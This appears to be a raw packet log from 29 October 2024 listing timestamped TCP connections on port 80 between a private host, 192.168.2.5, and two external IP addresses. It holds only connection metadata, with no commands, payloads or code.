Oct 29, 2024 05:02:36.002450943 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.002484083 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.002496004 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.002516031 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.002522945 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.002558947 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.005940914 CET	80	49799	185.215.113.206	192.168.2.5
Oct 29, 2024 05:02:36.006027937 CET	49799	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:36.006181955 CET	49799	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:36.011535883 CET	80	49799	185.215.113.206	192.168.2.5
Oct 29, 2024 05:02:36.032639027 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.032732964 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.032766104 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.032799006 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.032856941 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.032890081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.032921076 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.032921076 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.032921076 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.032921076 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.032921076 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.032921076 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.032923937 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.033092976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.033409119 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.033454895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.033462048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.033509016 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.075198889 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.075272083 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.075305939 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.075366020 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.075378895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.075401068 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.075544119 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.075544119 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.075562000 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.075603008 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.075611115 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.075645924 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.075648069 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.075690031 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.075992107 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.076025963 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.076044083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.076059103 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.076069117 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.076100111 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.120397091 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.120434046 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.120450974 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.120587111 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.120587111 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.120656013 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.120678902 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.120695114 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.120707989 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.120716095 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.120723963 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.120749950 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.120786905 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.121017933 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.121069908 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.121085882 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.121103048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.121118069 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.121131897 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.121155024 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.121676922 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.121692896 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.121709108 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.121722937 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.121726036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.121754885 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.121784925 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.152168989 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.152266979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.152303934 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.152337074 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.152354956 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.152367115 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.152396917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.152404070 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.152443886 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195250988 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195306063 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195367098 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195398092 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195431948 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195451021 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195466995 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195496082 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195502043 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195521116 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195538044 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195547104 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195570946 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195584059 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195615053 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195622921 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195656061 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195666075 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195689917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195696115 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195724964 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.195735931 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.195770979 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.239614964 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.239701986 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.239737988 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.239753008 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.239772081 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.239773989 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.239797115 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.239810944 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.239824057 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.239847898 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.239855051 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.239891052 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.239970922 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.240005016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.240019083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.240037918 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.240046024 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.240086079 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.240339994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.240374088 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.240385056 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.240411997 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.240447044 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.240478992 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.240490913 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.240520000 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.240530014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.240566015 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.240571976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.240602016 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.241177082 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.241230011 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.241285086 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.241328001 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.271183014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.271219969 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.271245003 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.271255016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.271272898 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.271291971 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.271307945 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.271347046 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.313944101 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314167976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314234972 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314265013 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314285040 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314300060 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314306021 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314335108 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314352036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314368963 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314376116 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314404964 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314410925 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314448118 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314687014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314721107 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314733028 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314762115 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314774990 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314809084 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314817905 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314846039 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314846039 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314882994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.314891100 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.314924002 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.315601110 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.315634966 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.315648079 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.315669060 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.315675974 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.315709114 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.358635902 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.358715057 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.358756065 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.358793974 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.358814001 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.358814001 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.358829021 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.358865023 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.358874083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.358901024 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.358906984 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.358942986 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.358994007 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.359024048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.359036922 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.359066010 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.359129906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.359174013 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.359188080 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.359220982 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.359230995 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.359263897 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.359486103 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.359519958 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.359532118 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.359560966 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.359683037 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.359718084 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.359730005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.359754086 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.359761000 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.359795094 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.390151978 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.390202045 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.390264988 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.390266895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.390289068 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.390300989 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.390307903 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.390336037 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.390342951 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.390372038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.390378952 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.390414000 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.390593052 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.390626907 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.390636921 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.390660048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.390670061 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.390705109 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.433250904 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.433280945 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.433296919 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.433341980 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.433362007 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.433367014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.433382988 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.433399916 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.433409929 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.433443069 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.433720112 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.433734894 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.433749914 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.433772087 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.433805943 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.434025049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.434052944 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.434067011 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.434078932 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.434097052 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.434104919 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.434125900 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.434149027 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.434552908 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.434567928 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.434582949 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.434601068 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.434621096 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.477747917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.477777004 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.477793932 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.477808952 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.477808952 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.477824926 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.477838039 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.477842093 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.477853060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.477894068 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.478065968 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.478091955 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.478107929 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.478113890 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.478126049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.478132963 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.478152037 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.478158951 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.478621960 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.478638887 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.478655100 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.478683949 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.478713989 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.478895903 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.478950977 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.478951931 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.478965998 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.478997946 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.479022026 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.509562016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.509582043 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.509602070 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.509619951 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.509655952 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.509663105 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.509685040 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.509700060 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.509716034 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.509731054 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.509731054 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.509749889 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.509773970 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.510147095 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.510199070 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.510447025 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.510493040 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.552711010 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.552731037 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.552746058 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.552771091 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.552788973 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.552876949 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.552891970 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.552911043 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.552925110 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.552958012 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.553215027 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.553231001 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.553246975 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.553261995 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.553267956 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.553287983 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.553291082 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.553303957 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.553323030 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.553350925 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.554047108 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.554088116 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.554097891 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.554104090 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.554120064 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.554126978 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.554141045 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.554160118 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.596901894 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.596924067 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.596956968 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.596976995 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:36.596982002 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.596997976 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:36.596997976 CET	49778	80	192.168.2.5	185.215.113.16
